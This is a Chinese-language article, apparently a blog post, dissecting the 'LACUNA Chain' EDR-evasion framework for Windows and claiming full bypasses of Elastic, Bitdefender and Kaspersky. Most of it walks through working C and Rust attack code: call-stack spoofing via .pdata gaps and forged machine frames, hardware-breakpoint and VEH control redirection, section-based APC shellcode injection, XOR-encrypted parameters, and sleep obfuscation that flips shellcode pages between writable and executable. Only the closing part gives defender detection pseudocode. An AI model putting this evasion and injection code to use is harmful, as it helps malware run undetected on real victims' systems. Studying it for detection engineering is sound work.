HookChain 揭示了 94% 的 EDR 方案不在 NTDLL 之上的子系统层进行 hook。LACUNA Chain 则榨取了一个更深的盲点:.pdata lacuna——那些在已签名 DLL 内部、却没有异常处理元数据的可执行区域。这些幽灵区域对 RtlLookupFunctionEntry 是不可见的,存在于任何 hook 表之外,并且在栈回溯时,与合法的叶子函数在结构上根本无法区分。

这个缺口,是无法通过简单地增加更多 hook 来闭合的。链上的每一层——wow64.dll、kernelbase.dll、win32u.dll,以及这些 .pdata gap 区域——都坐落在当前调用栈审查机制在结构上就看不见的地址范围里。要闭合它,就必须在运行时去枚举 .pdata gap,并标记任何落在 gap 里的调用追踪帧。现在,还没有任何一款产品级的 EDR 在做这件事。
真实世界的对抗结果
LACUNA Chain 注入器在受控实验环境下接受了企业级 EDR 解决方案的测试。测试时,两个目标都运行着最新的签名与行为引擎版本。
Elastic EDR —— 完整绕过,shellcode 未被检测即成功执行:

Bitdefender —— 完整绕过,shellcode 未被检测即成功执行:

Kaspersky Endpoint Security —— 完整绕过,shellcode 未被检测即成功执行:

概念验证的实现可在 github.com/MazX0p/LACUNA-Chain 获取。
结论:军备竞赛已经下沉
Part I 展示了用户态 hook 的绕过手法,如何击穿了一大部分的 EDR 部署。那个缺口在 2024 年是真实存在的。
Part II 则展示了下一层的战场是什么样子。
BYOUD-Gap 以零 .pdata 修改实现了调用栈伪造。ETW-Ti APC 窗口让你能控制栈快照发生的时机。Win32u 的 1,242 个 NOP gap 提供了范畴性白名单的叶子帧。ntdll 与 kernelbase 里的幽灵函数则提供了语义上极具说服力的掩护。BYOUD-MF 能在单帧内实现任意的 RSP 瞬移。BYOUD-RT 让这一切都无需任何预标定就能工作。参数加密则让参数在静态存储时变得不透明。
把这些全部拼接起来,你就得到了 LACUNA Chain——语法上合法、语义上合理、取证上干净。唯一剩下的可靠检测,就只有行为层面的内核回调关联了。
三个亟待解决的开放问题
这些是下一位研究者应该聚焦的方向:
1. 大规模 gap 地址检测。 标记那些落在 .pdata 未覆盖区间的调用追踪帧,理论上完全可行,但还没有人做出产品级的实现。它需要运行时为所有已加载 DLL 枚举 .pdata gap,并交叉比对每一个调用追踪地址。方向清晰,但工程上不简单。
2. ETW-Ti APC 队列深度监控。 如果 EDR 能够测量出,在投递它们的那个可警醒等待之前,有多少 ETW-Ti APC 被排队了,那么异常的计数值(例如单次等待前 >3)就是一个极强的异常信号。目前还没有 EDR 公开过这个信号。
3. Win32k shadow SSDT 攻击面。 究竟有哪些敏感操作可以通过 win32k syscall 触达?ObRegisterCallbacks 又是否会在那些路径上被触发?这些仍然是公开未测的领域。下一个绕过手法,说不定就藏在那里。
军备竞赛并没有在 HookChain 那里结束。它每闭合一层,就往下沉一层。调用栈不再值得信任,.pdata 节也不再值得信任。当前唯一站得住脚的锚点是行为关联——而下一波攻击,无疑会聚焦在那里。
参考文献
- [1] Helvio Carvalho Junior — 《HookChain: A New Perspective for Bypassing EDR Solutions》 — arXiv:2404.16856 · DEF CON 32, 2024 年 8 月
- [2] Mohamed Alzhrani — 《HookChain: A Deep Dive into Advanced EDR Bypass Techniques》 — 0xmaz.me · 2024 年 10 月 · 本系列 Part I
- [3] WithSecure Labs — 《Spoofing Call Stacks to Confuse EDRs》 — WithSecure · 2022 年 6 月
- [4] WithSecureLabs — CallStackSpoofer PoC — GitHub
- [5] klezVirus — SilentMoonwalk — GitHub
- [6] klezVirus — 《Fantastic Unwind Information and Where to Find Them》(BYOUD) — Black Hat Europe 2025
- [7] Gabriel Landau — ShadowStackWalk — GitHub
- [8] 0xjbb — cet-spoofing-detection — GitHub
- [9] Synacktiv — 《Windows Kernel Shadow Stack Mitigation》 — SSTIC 2025
- [10] Connor McGarr — 《Kernel-Mode Shadow Stacks》
- [11] Volexity / Andrew Case — 《EDR Evasion and Detection》 — DEF CON 32
- [12] WhiteKnightLabs — 《LayeredSyscall: Abusing VEH to Bypass EDRs》
- [13] Elastic Security Labs — 《Doubling Down: ETW Call Stacks》
- [14] Gkritsis 等 — 《Evading and Crashing Anti-Malware Solutions via Data Collection Overloading》 — arXiv:2511.04472
- [15] Praetorian — 《ETW Threat Intelligence and Hardware Breakpoints》
本文所述技术均出于安全研究与检测工程目的而记录。BYOUD-Gap、ETW-Ti APC 窗口利用、Win32u NOP Gap 链、幽灵 gadget 发现、BYOUD-MF、BYOUD-RT、以及 kernelbase 语义幽灵邻近,均为作者原创贡献,源自对受控实验环境中提取的 Windows 系统 DLL 的二进制分析。
第一部分 · 源码拆解:从论文到可执行的原语
上面是论文视角。下面我们把镜头切到代码——两个仓库:作者本人的 C 参考实现 MazX0p/LACUNA-Chain(lacuna_chain.c 1162 行 + lacuna_sleep.c 702 行),以及社区 Rust 移植 Karkas66/lacuna-rs。我们把每一条原语映射回源码,看它到底怎么落地。
1.1 数据结构:幽灵栈与机器帧
lacuna_chain.c 用两个核心结构把“假栈”固化下来。先看机器帧——这是 BYOUD-MF 的载荷:
/* BYOUD-MF 原语使用的硬件异常帧 */
#pragma pack(push, 1)
typedef struct {
ULONG64 Rip; // 瞬移后的下一条 RIP(= L1 wow64 ghost)
ULONG64 Cs; // 0x0033 —— 用户态 64 位代码段
ULONG64 EFlags; // 0x00000202 —— IF 置位,标准用户态 flags
ULONG64 Rsp; // ←←← 瞬移目标 RSP(= &g_mf_walk[0])
ULONG64 Ss; // 0x002B —— 用户态数据段
} MachFrame; // 恰好 40 字节,对应 x64 IRET 帧布局
#pragma pack(pop)
这个 40 字节结构恰好是 x64 IRET 帧的内存布局(RIP/CS/RFLAGS/RSP/SS)。这不是巧合——它是 UWOP_PUSH_MACHFRAME 处理器在 RtlVirtualUnwind 里直接读取的格式。#pragma pack(push,1) 保证没有填充字节。
再看整个幽灵栈布局(注意栈向下生长,低地址在上):
/* 假栈布局(低 → 高,栈向下生长):
* L5_thread_root <- 最后被回溯
* L4_win32u
* L3_ntdll
* L2_kbase
* L1_wow64 <- g_chain_rsp 指向这里
* MachFrame (40 B) <- 被 UWOP_PUSH_MACHFRAME 处理器消费
* mf_trigger <- KiUserExceptionDispatcher+4
*/
typedef struct {
ULONG64 L5_thread_root; // ntdll!RtlUserThreadStart+0x21
ULONG64 L4_win32u; // win32u NOP gap
ULONG64 L3_ntdll; // ntdll ghost(或 ghost gadget)
ULONG64 L2_kbase; // kernelbase ghost(或 ghost gadget)
ULONG64 L1_wow64; // wow64 ghost
MachFrame mf; // 40 字节机器帧
ULONG64 mf_trigger; // L0 = KiUserExceptionDispatcher+4
} LacunaStack;
mf_trigger(L0)是触发器——它的地址落在带 UWOP_PUSH_MACHFRAME 的 KiUserExceptionDispatcher 函数体内,所以 unwinder 一碰到它就走机器帧分支,读 mf,把 RSP“瞬移”到 &g_mf_walk[0],RIP 设成 L1。从 L1 开始就是普通的叶子帧回溯了。
1.2 find_mf_target():在 .pdata 里找机器帧触发器
static ULONG64 find_mf_target(HMODULE ntdll)
{
ULONG64 pva; ULONG psz;
if (!pe_section(ntdll, ".pdata", &pva, &psz)) goto fb;
{
RF *rf = (RF *)pva; int count = psz / sizeof(RF);
ULONG64 img = (ULONG64)ntdll;
for (int i = 0; i < count; i++) {
if (!rf[i].Unwind) continue; // 跳过无 UNWIND_INFO 的条目
UH *uh = (UH *)(img + rf[i].Unwind);
UC *codes = (UC *)((uint8_t *)uh + 4);
for (int j = 0; j < uh->Count; j++)
// 关键判定:操作码 == UWOP_PUSH_MACHFRAME(10),且 Off==0
if ((codes[j].Op & 0xF) == UWOP_PUSH_MACHFRAME && codes[j].Off == 0)
return img + rf[i].Begin + 4; // 函数体偏移 +4,避开首字节 int3
}
}
fb:
return pe_export(ntdll, "KiUserExceptionDispatcher") + 4; // 兜底
}
逐行看判定 (codes[j].Op & 0xF) == UWOP_PUSH_MACHFRAME:UNWIND_CODE 的低 4 位是操作码,高 4 位是 OpInfo。UWOP_PUSH_MACHFRAME == 10。Off == 0 表示这条 unwind code 作用于函数 prolog 的第 0 个 slot——即整个函数体任何 PC 都触发(因为 prolog 已完成)。返回 Begin + 4 是为了跳过函数开头的 int3/F6 04 24 00(KiUserExceptionDispatcher 的典型开头是一个测试字节)。
实测在 ntdll .pdata(4,736 条)里只有 4 个函数满足——KiUserApcDispatcher / KiUserCallbackDispatcher / KiUserExceptionDispatcher / 一个未命名 dispatcher,全部 prolog_offset=0x00。这就是论文里那张表。
1.3 build_chain():把六层填进结构
这是把论文的“六层架构”变成内存数据的函数。核心填充逻辑:
/* MF walk 缓冲: L2->L3->L4->L5 按地址升序排列,
这样叶子 RSP+=8 回溯会读到正确的下一个返回地址 */
g_mf_walk = (ULONG64 *)((uint8_t *)g_ls + sizeof(LacunaStack));
g_mf_walk[0] = L2; // kernelbase ghost
g_mf_walk[1] = L3; // ntdll ghost
g_mf_walk[2] = L4; // win32u nop gap
g_mf_walk[3] = L5; // RtlUserThreadStart+0x21
g_ls->L5_thread_root = L5;
g_ls->L4_win32u = L4;
g_ls->L3_ntdll = L3;
g_ls->L2_kbase = L2;
g_ls->L1_wow64 = L1;
g_ls->mf.Rip = L1; /* MF 瞬移后的下一帧 */
g_ls->mf.Cs = 0x0033;
g_ls->mf.EFlags = 0x00000202;
g_ls->mf.Rsp = (ULONG64)&g_mf_walk[0]; /* RSP 落在 L2->L3->L4->L5 链上 */
g_ls->mf.Ss = 0x002B;
g_ls->mf_trigger = L0; /* KiUserExceptionDispatcher+4 */
g_chain_rsp = (ULONG64)&g_ls->mf;
要点:
mf.Rsp = &g_mf_walk[0] 是 BYOUD-MF 的“瞬移锚点”——unwinder 把 RSP 直接设成这个值,于是后续回溯从 g_mf_walk 数组读帧。
g_mf_walk 里只放 L2..L5 四个值,因为 L1 已经在 mf.Rip 里了(瞬移后的第一帧就是 L1)。所以总帧数 = mf_trigger(L0) + mf.Rip(L1) + g_mf_walk0..3 = 六层。
- 每层 ghost 地址由
best_ghost() 按“离导出函数最近”挑出,回退到硬编码偏移(如 ntdll+0x50F80、kbase+0x64180)。
1.4 ghost gadget:把 JMP[RBX] 接进调用链
alloc_stub() 在没有 JMP [RBX] 幽灵 gadget 时走普通间接 syscall;有时则把 gadget 地址既当 L2/L3 桥接帧、又当执行重定向点。论文里 ntdll+0xFC47B 的字节序列在代码里体现为扫描结果:
+0x009 48 83 41 28 FE dec qword ptr [rcx+28h]
+0x00E 41 B8 FF 23 00 00 mov r8d, 23FFh <- 0xFF 0x23 = JMP[RBX] 的字节
+0x014 FF 23 JMP [RBX]
build_chain() 里能看到它被双重使用:
ULONG64 L2 = (g_ghost_mod == 2) ? g_ghost_gadget // 当 gadget 在 kernelbase: L2=gadget
: g2 ? (g2->va_start + g2->size / 2) : ((ULONG64)kbase + 0x64180);
ULONG64 L3 = (g_ghost_mod == 1) ? g_ghost_gadget // 当 gadget 在 ntdll: L3=gadget
: g3 ? (g3->va_start + g3->size / 2) : ((ULONG64)ntdll + 0x50F80);
它同时是桥接帧(unwinder 当叶子跳过)和执行跳板(CALL 真的会执行 JMP [RBX])——这就是“双用途”在代码层的落地。
1.5 参数加密:DR0 硬件断点 + VEH
param_encrypt_veh()(lacuna_chain.c:734)在 syscall;ret 边界上设 DR0 执行断点。命中时:解密寄存器里的参数(RCX/RDX/R8/R9 + R10)、把返回地址伪造成 ret gadget、单步后用 DR1 恢复。密钥常量 PKEY = 0xCAFE1337ULL(lacuna_chain.c:937)。
关键参数加密用的是滚动异或(与 sleep 版同构):
for (size_t i = 0; i < n; i++)
p[i] ^= (BYTE)(PKEY + i); // 每字节密钥滚动
0x40(PAGE_EXECUTE_READWRITE)这类魔法值在内存里永不以明文出现——内存扫描看到的是密文。
1.6 注入器:section-based APC
do_inject_sapc()(lacuna_chain.c:857)用一串 NT syscall 取代了经典的 VirtAlloc/WriteProcessMemory/VirtualProtect 三件套:
NtOpenProcess
-> NtCreateSection (在自身创建 section)
-> NtMapViewOfSection (自身, RW)
-> memcpy (直接写, RW 映射无需 WriteProcessMemory)
-> NtMapViewOfSection (目标, RX)
-> NtUnmapViewOfSection (自身)
-> NtClose
-> NtOpenThread
-> NtQueueApcThread
-> NtAlertThread
-> NtDelayExecution (alertable —— 触发 APC + 整条 LACUNA 链)
为什么不直接 NtMapViewOfSection 一次?因为目标进程需要 RX、自身需要 RW,两次映射同一 section 用不同权限——这绕过了“单次 RWX 映射”启发式。每一次 Nt* 调用都经由前述的幽灵 stub + 全链栈伪造。
1.7 Rust 移植(lacuna-rs)的关键差异
Karkas66/lacuna-rs 把同样的原语搬进 Rust crate,差异点值得注意:
- 全局态用
AtomicU64:C 版的 g_chain_rsp / g_save_rsp / g_mf_walk 在 Rust 里是 static G_CHAIN_RSP: AtomicU64——因为 VEH 处理器是异步上下文,必须用原子操作。
- TEB 读取用内联汇编:
mov {0}, gs:[0x08] 直接读 TEB.StackBase,mov {0}, [rbp] 在 stomp_plant() 里走帧链——这是 BYOUD-RT 的运行时距离计算。
- 帧指针强制开启:
stomp_plant() 依赖 rbp 走帧链,所以 .cargo/config.toml 里 rustflags = ["-C", "force-frame-pointers=yes"],build.rs 还强制 codegen-units=1。坑:cargo 的 rustflag 不会传播给下游 crate,所以 README 专门提醒消费者要自己在 config.toml 里加。
- 字符串混淆:用
litcrypt2 的 lc!() 宏在编译期加密字符串字面量,密钥从 LITCRYPT_ENCRYPT_KEY 环境变量读(不设则编译期随机生成)。
- Feature 门控:
syscalls / inject(默认开)/ veh / stack-spoof / no-std——关闭所有 feature 时只剩 PE 扫描层,可纯侦察用。
- 线程打分注入:
inject.rs 有个 MAX_APC_THREADS = 5 的线程打分算法,按周期时间 / CPU 时间 / 挂起计数 / 优先级打分,挑最合适的线程做 APC(改编自 FrankensteinAPCInjection)。
scan_all()(lib.rs:80)一次性扫四个模块的 ghost 区与 gadget,返回 ScanSummary——这是 C 版 do_scan() 的对应物。
第二部分 · 深入一:BYOUD-MF 机器帧瞬移的 unwind 数学(逐行)
如果你对逆向工程中的底层细节感兴趣,这部分是整套技术里数学上最漂亮的一环。我们一行行拆 RtlVirtualUnwind 处理 UWOP_PUSH_MACHFRAME 的逻辑,并对照 lacuna_chain.c 的填充代码,看“单帧任意 RSP 赋值”是怎么从 Windows 自己的回溯代码里“免费”长出来的。
2.1 先建立坐标系:unwinder 怎么算下一帧
RtlVirtualUnwind 的核心任务是:给定一个 ContextRecord(含当前 Rip / Rsp),算出调用者那一帧的 Rip / Rsp。它先调 RtlLookupFunctionEntry(ControlPc):
- 命中(有
RUNTIME_FUNCTION):用 prolog/epilog + UNWIND_CODE 逆序回放,把 Rsp 推进一个 delta,得到 EstablisherFrame,再从 [EstablisherFrame] 读返回地址。
- 未命中(返回 NULL):当叶子函数处理,
EstablisherFrame = Rsp,Rip = [Rsp],Rsp += 8。这就是 BYOUD-Gap 的根基。
对每种 unwind code,delta 的来源不同。绝大多数 code(UWOP_PUSH_NONVOL、UWOP_ALLOC_SMALL/LARGE)是累加的——Rsp 单调推进。唯独 UWOP_PUSH_MACHFRAME(操作码 10)不是累加,而是直接赋值。
2.2 关键处理器:UWOP_PUSH_MACHFRAME 的伪代码
把 Ghidra 反编译里那段逻辑结构化出来(Windows 11 22H2,ntdll):
// 在 RtlVirtualUnwind 的 unwind-code 回放循环里:
case UWOP_PUSH_MACHFRAME: // 操作码 10
{
ULONG_PTR FrameAddr = EstablisherFrame; // 当前 EstablisherFrame 指向本帧返回地址槽
// OpInfo 取 unwind code 的高 4 位: 0 = 无错误码, 1 = 有错误码
if (OpInfo == 1) {
FrameAddr -= 8; // 跳过 CPU 多压的那个错误码
}
// ⚡ 这里是瞬移的根: 不是 Rsp += delta, 而是从栈上的机器帧里 "读回" 整个上下文
PMACHINE_FRAME mf = (PMACHINE_FRAME)(FrameAddr - 0x28); // 0x28 = 40 字节
NewContext.Rip = mf->Rip; // ① RIP 来自栈
NewContext.SegCs = mf->Cs;
NewContext.EFlags = mf->EFlags;
NewContext.Rsp = mf->Rsp; // ② ⚡⚡⚡ RSP 来自栈 —— 这就是 "瞬移"
NewContext.SegSs = mf->Ss;
EstablisherFrame = FrameAddr; // 指向机器帧顶端
goto done; // 跳出回放循环
}
两处魔法:
(a) NewContext.Rsp = mf->Rsp; —— 这是唯一一处,unwinder 把 RSP 设成栈上某个字段里的任意值,而不是 Rsp + 常数。你往 mf->Rsp 里写什么,回溯就跳到哪个地址继续读帧。这就是“瞬移”。
(b) OpInfo 分支 —— 论文图 19 标注的“op_info=0,无错误码”。异常类中断(int3 / KiUserExceptionDispatcher)压帧不带错误码,所以走 OpInfo==0 分支,FrameAddr 不动,机器帧就紧贴在 EstablisherFrame 上方 40 字节。
2.3 数学:单帧任意 RSP 赋值
把三种推进方式并排,差别一目了然:
| 技术 |
EstablisherFrame(下一帧 RSP)的计算 |
| 叶子帧(gap) |
Rsp_new = Rsp_old + 8 |
| 普通非叶子 |
Rsp_new = Rsp_old + Σ(UNWIND_CODE deltas) |
| UWOP_PUSH_MACHFRAME |
Rsp_new = *(ULONG64*)(FrameAddr - 0x28 + offsetof(Cs..Rsp)) —— 从栈读 |
前两种是仿射的(Rsp_new = Rsp_old + c,c 是编译期常量)。攻击者要让仿射结果跳到一个想去的地址,得预先在栈上连续堆 N 个返回地址(gap 链),且 N·8 必须等于真实栈与目标栈的距离——这就是 BYOUD-Gap 的约束。
BYOUD-MF 把仿射换成任意赋值:一次回放就完成“从当前 RSP 跳到任意目标 RSP”,无需堆 N 帧、无需凑距离。代价只有一个——往栈上多放一个 40 字节的机器帧结构。
2.4 对照 lacuna_chain.c 的填充
回到 build_chain()(lacuna_chain.c:494-500):
g_ls->mf.Rip = L1; // ① 瞬移后下一条 RIP
g_ls->mf.Cs = 0x0033; // 用户态 CS
g_ls->mf.EFlags = 0x00000202; // IF=1, 标准用户态
g_ls->mf.Rsp = (ULONG64)&g_mf_walk[0]; // ② ⚡ 瞬移目标 RSP
g_ls->mf.Ss = 0x002B; // 用户态 SS
g_ls->mf_trigger = L0; // ③ 触发器地址(带 PUSH_MACHFRAME)
走一遍回溯,看 unwind 状态怎么演化。假设 EDR 在 syscall 边界抓栈,栈顶(最低地址)是真实返回地址 R_ret,之上是 g_ls 结构体。unwinder 从 R_ret 开始:
帧 0: Rip = R_ret <- 真实 shellcode 返回地址
但回溯到 L0=KiUserExceptionDispatcher+4 时...
[此时 ControlPc = L0, RtlLookupFunctionEntry 命中]
-> RUNTIME_FUNCTION 命中,UNWIND_CODE 含 PUSH_MACHFRAME, OpInfo=0
-> FrameAddr = EstablisherFrame(= 指向 mf_trigger 槽)
-> mf = (FrameAddr - 0x28) = &g_ls->mf <- 读到我们埋的机器帧
帧 1: Rip = mf.Rip = L1 (wow64 ghost) <- 从机器帧读
Rsp = mf.Rsp = &g_mf_walk[0] <- ⚡ RSP 瞬移到 g_mf_walk
帧 2: Rip = g_mf_walk[0] = L2 (kbase ghost) <- 叶子(gap), Rsp+=8
帧 3: Rip = g_mf_walk[1] = L3 (ntdll ghost)
帧 4: Rip = g_mf_walk[2] = L4 (win32u nop)
帧 5: Rip = g_mf_walk[3] = L5 (RtlUserThreadStart+0x21) <- 线程根, 停止
注意 g_mf_walk 的升序排列(lacuna_chain.c:484-487)是必须的:
g_mf_walk[0] = L2; // 升序: L2 < L3 < L4 < L5(地址意义上递增)
g_mf_walk[1] = L3;
g_mf_walk[2] = L4;
g_mf_walk[3] = L5;
因为瞬移后 RSP 落在 g_mf_walk[0],叶子回溯每次 Rsp += 8 依次读 [0]/[1]/[2]/[3]。如果乱序,回溯读到的就不是一个从线程根(高地址)到 syscall(低地址)单调下降的真实栈形态——EDR 的“栈单调性”启发式会立刻抓到。升序排列保证了伪造的栈在地址轴上和真栈无法区分。
2.5 为什么 BYOUD-MF 不违反 CET
CET 的影子栈在 CALL/RET 时校验 RSP 上的返回地址与影子栈是否一致。但 RtlVirtualUnwind不执行 RET,也不读影子栈——它只是纯软件地读 UNWIND_CODE 算 RSP 推进。CET 完全不参与 unwind 回溯。
所以哪怕开了 CET:
- 真实执行路径上,所有
CALL/RET 都正常走影子栈,不触发 #CP;
- EDR 抓栈时用的是
RtlVirtualUnwind(软件回溯),它读的是我们伪造的 .pdata 语境下的栈,CET 毫不知情。
这就是“CET 校验返回地址,CET 不校验 .pdata”在 unwind 数学上的体现。 BYOUD(改 .pdata)和 BYOUD-MF(在 .pdata gap 里放机器帧)都活在 CET 的盲区里。
2.6 小结:BYOUD-MF 的三个第一
- 单帧任意 RSP 赋值 —— 唯一一种不用仿射推进、不用 gadget 的手法。
- 零 .pdata 写 —— 机器帧放在已存在的 gap 内,不改任何
RUNTIME_FUNCTION。
- CET 透明 —— 纯软件回溯,影子栈完全不参与。
代价:栈上多 40 字节(一个 MachFrame)。相比 BYOUD-Gap 要堆 N 帧凑距离,这 40 字节换来的是“一步到位”。
第三部分 · 深入二:lacuna_sleep.c 全链睡眠混淆对比
睡眠混淆(sleep obfuscation)是内存扫描的克星——在 beacon/implant 睡眠期间把 shellcode 加密、权限改成不可执行,让扫内存的 EDR 摸到的是一堆密文 + RW 页。lacuna_sleep.c(702 行)做的事,是在 Ekko/Foliage 这类经典睡眠混淆之上,把“LACUNA 栈伪造”焊进每一步。
3.1 一句话差异:一帧 vs 全链
lacuna_sleep.c 文件头第一句就把差异点死:
/*
* lacuna_sleep.c -- LACUNA Sleep
*
* Full-chain ghost-frame sleep obfuscation.
* Every call in the encrypt->sleep->decrypt cycle gets its return
* address planted in a .pdata ghost frame. HW breakpoint + VEH
* catches each return and redirects control to the next step.
*
* Unlike Ekko/Foliage which spoof one frame during sleep, ...
*/
- Ekko / Foliage:只在“睡眠”这一帧伪造一条返回链。睡眠期间 ETW-Ti / Sysmon 若恰好抓栈,看到的是伪造的那一帧。但睡眠前后的
NtProtectVirtualMemory(RW→RX)调用栈是真实的——而恰恰是这两次 NtProtectVirtualMemory 最容易被 EDR 行为引擎盯上(它是“内存权限翻 RX”这个高危动作的发起者)。
- LACUNA Sleep:encrypt→sleep→decrypt 循环里的每一次调用都把返回地址种进 ghost 帧。也就是 RW 翻页、延时、RX 翻页,三个高危 syscall 各自的调用栈全都被伪造。
3.2 五步循环:sleep_cycle()
static void sleep_cycle(SleepCtx *ctx, int cycle_num) {
HANDLE self = (HANDLE)(LONG_PTR)-1;
...
/* 步骤 1: 翻成 RW —— 返回地址种进 kernelbase ghost */
arm_ghost_bp(ctx->ghost_kb);
st = ((PNtProtectVirtualMemory)ctx->stub_vp)(
self, &base, &size, PAGE_READWRITE, &old);
disarm_ghost_bp();
/* 步骤 2: XOR 加密(内联, 微秒级) */
xor_crypt(ctx->sc_base, ctx->sc_size, ctx->xor_key);
/* 步骤 3: 睡眠 —— 整条 LACUNA 链激活 */
...
arm_ghost_bp(ctx->ghost_ntdll);
((PNtDelayExecution)ctx->stub_delay)(alertable, &delay);
disarm_ghost_bp();
/* 步骤 4: XOR 解密 */
xor_crypt(ctx->sc_base, ctx->sc_size, ctx->xor_key);
/* 步骤 5: 翻回 RX —— 返回地址种进 kernelbase ghost */
base = ctx->sc_base; size = ctx->sc_size;
arm_ghost_bp(ctx->ghost_kb);
st = ((PNtProtectVirtualMemory)ctx->stub_vp)(
self, &base, &size, PAGE_EXECUTE_READ, &old);
disarm_ghost_bp();
}
三个高危点对应的 ghost 锚:
| 步骤 |
syscall |
ghost 锚点 |
为什么是它 |
| 1 |
NtProtectVM(RW) |
ghost_kb(kernelbase ghost,邻接 VirtualProtect) |
翻页的语义出处 |
| 3 |
NtDelayExecution |
ghost_ntdll(ntdll ghost,邻接 RtlCreateUserThread) |
睡眠调用,且 alertable 触发 APC → 整条链 |
| 5 |
NtProtectVM(RX) |
ghost_kb |
同步骤 1 |
注意步骤 3 里 alertable = TRUE——可警醒等待。这正好把“ETW-Ti APC 窗口攻击”和“睡眠混淆”合并:睡眠期间排队的 ETW-Ti APC,在可警醒等待解除时一齐投递,投递时看到的是整条六层 LACUNA 链,而不是真栈。
3.3 36 字节幽灵 stub:make_ghost_stub()
返回地址怎么“种”进 ghost 帧?靠一个 JIT 出来的 36 字节小 stub:
static void *make_ghost_stub(void *api, ULONG64 ghost_addr) {
BYTE *p = g_stub_page + g_stub_offset;
BYTE *start = p;
*p++ = 0x48; *p++ = 0xB8; // mov rax, ghost_addr
memcpy(p, &ghost_addr, 8); p += 8;
*p++ = 0x48; *p++ = 0x87; *p++ = 0x04; *p++ = 0x24; // xchg [rsp], rax
*p++ = 0x48; *p++ = 0xA3; // movabs [&g_saved_ret], rax
ULONG64 sr_addr = (ULONG64)&g_saved_ret;
memcpy(p, &sr_addr, 8); p += 8;
*p++ = 0x48; *p++ = 0xB8; // mov rax, api
ULONG64 api_addr = (ULONG64)api;
memcpy(p, &api_addr, 8); p += 8;
*p++ = 0xFF; *p++ = 0xE0; // jmp rax
...
}
这段汇编做的事,用一行话讲:xchg [rsp], rax 把栈顶返回地址换成 ghost 地址,把原返回地址存到全局 g_saved_ret,然后跳去调用真 API。
为什么用 xchg [rsp], rax 而不是 mov [rsp], rax?因为 xchg 是原子指令(带隐式 LOCK 语义),且只交换一次——执行后栈顶是 ghost 地址,原返回地址安全躺在 g_saved_ret 里。当 API 返回时,它返回到 ghost 地址(栈顶那个),于是调用栈看起来是从 ghost 帧发起的。
3.4 ghost_call_veh():HW 断点 + VEH 把控制权接回来
API 返回到 ghost 地址后,谁来把控制接回真实代码流?硬件断点 + VEH:
static LONG CALLBACK ghost_call_veh(PEXCEPTION_POINTERS ep) {
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
ep->ContextRecord->Rip == g_ghost_bp) {
ep->ContextRecord->Rip = g_saved_ret; // ① 跳回真实返回地址
ep->ContextRecord->Dr0 = 0; // ② 清 DR0
ep->ContextRecord->Dr7 &= ~1ULL; // ③ 禁用 DR0
ep->ContextRecord->EFlags |= 0x10000; // ④ RF 置位, 单步不再触发
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
流程:
arm_ghost_bp(ghost_addr) 把 DR0 设成执行断点(ctx.Dr7 = 1)。
- API 返回到 ghost 地址 → DR0 命中 →
#DB 异常 → ghost_call_veh 触发。
- VEH 把
Rip 改回 g_saved_ret(真实返回地址),清断点,置 RF(Resume Flag,保证 g_saved_ret 处的第一条指令不再触发断点)。
EXCEPTION_CONTINUE_EXECUTION → 从真实返回地址继续。
关键: EDR 抓栈是在 #DB 触发之前——也就是 API 返回、RIP 刚到 ghost 地址的那一刻,调用栈里 ghost 帧已经就位。VEH 的改写发生在抓栈之后,对抓到的栈没影响。
3.5 xor_crypt():滚动密钥异或
static void xor_crypt(BYTE *p, size_t n, BYTE key) {
for (size_t i = 0; i < n; i++)
p[i] ^= (BYTE)(key + i); // 每字节密钥滚动
}
朴素 XOR 容易被熵分析/已知明文击穿(一串 0x00 异或后暴露密钥流)。滚动 key + i 让密钥流非周期,提升了“密文页熵值检测”的识别难度——虽然真要对抗熵分析还得换流密码,但睡眠时间窗短、密钥每周期换,工程上够用。
3.6 与 Ekko/Foliage 的并排对比
| 维度 |
Ekko / Foliage |
LACUNA Sleep |
| 伪造帧数 |
仅睡眠帧 1 条 |
RW / Delay / RX 三步全伪造 |
| 翻页调用栈 |
真实 |
ghost 帧(kernelbase 邻接 VirtualProtect) |
| 睡眠触发机制 |
NtDelayExecution / WaitForSingleObjectEx |
NtDelayExecution(alertable) + APC 窗口 |
| 睡眠期 ETW-Ti 抓栈 |
看到单条伪造帧 |
看到整条六层链 |
| 加密算法 |
RC4 / AES(Ekko v4) |
滚动 XOR(轻量, 微秒级) |
| 实现载体 |
NtSetTimer/APC + ROP |
HW 断点(DR0) + VEH + 36 字节 stub |
| CET 兼容 |
部分变体踩影子栈 |
纯 leaf 链 + xchg,CET 透明 |
| 对抗“翻页→执行”时序检测 |
中 |
高(三步调用栈都合法) |
实战含义:如果你已经用 LACUNA 链做栈伪造,那么睡眠混淆也必须全链——否则 EDR 只要等到 NtProtectVirtualMemory(RX) 那一刻抓栈(这是个高危 syscall,几乎必抓),就拿到真实调用链,前功尽弃。lacuna_sleep.c 的存在就是为了堵这个缺口。
第四部分 · 深入三:蓝队视角——检测幽灵帧的伪代码
攻防同文。前面把攻击讲透了,这一节给防御者三段可直接拿去原型的检测伪代码。核心观察:LACUNA 链的所有帧都落在 .pdata gap 内,而合法程序几乎从不在调用链里出现 gap 地址。 这是个干净的统计异常——不需要懂攻击细节就能抓。
4.1 检测一:gap 地址检测(论文点名“唯一可行的新检测”)
# ── 运行时为每个已加载 DLL 建立 .pdata gap 区间表 ──
# 思路: 枚举所有 RUNTIME_FUNCTION, 相邻两条之间的 [End_i, Begin_{i+1}) 就是 gap
def build_gap_table():
gap_table = {} # module_name -> sorted list of (gap_start, gap_end)
for mod in enum_loaded_modules():
runtimes = sorted(enum_runtime_functions(mod), key=lambda r: r.begin)
gaps = []
prev_end = mod.base + first_section_text_start
for rf in runtimes:
rf_start = mod.base + rf.begin
if rf_start > prev_end:
gaps.append((prev_end, rf_start)) # <- 这就是 lacuna
prev_end = mod.base + rf.end
gap_table[mod.name] = gaps
return gap_table
# ── 检测: 任意调用追踪帧落在 gap 内 → 高度异常 ──
def is_frame_in_gap(addr, gap_table):
mod = module_containing(addr)
if mod is None: return False
for (lo, hi) in gap_table.get(mod.name, []):
if lo <= addr < hi:
return True # ⚠️ gap 地址 —— 合法代码几乎不会出现在这里
return False
def inspect_call_trace(trace, gap_table):
suspicious = [f for f in trace if is_frame_in_gap(f.addr, gap_table)]
if len(suspicious) >= 1:
# gap 地址本就罕见; 2 个以上几乎可断定伪造
return ALERT("gap-frame-spoof", severity=len(suspicious),
frames=suspicious)
return CLEAN
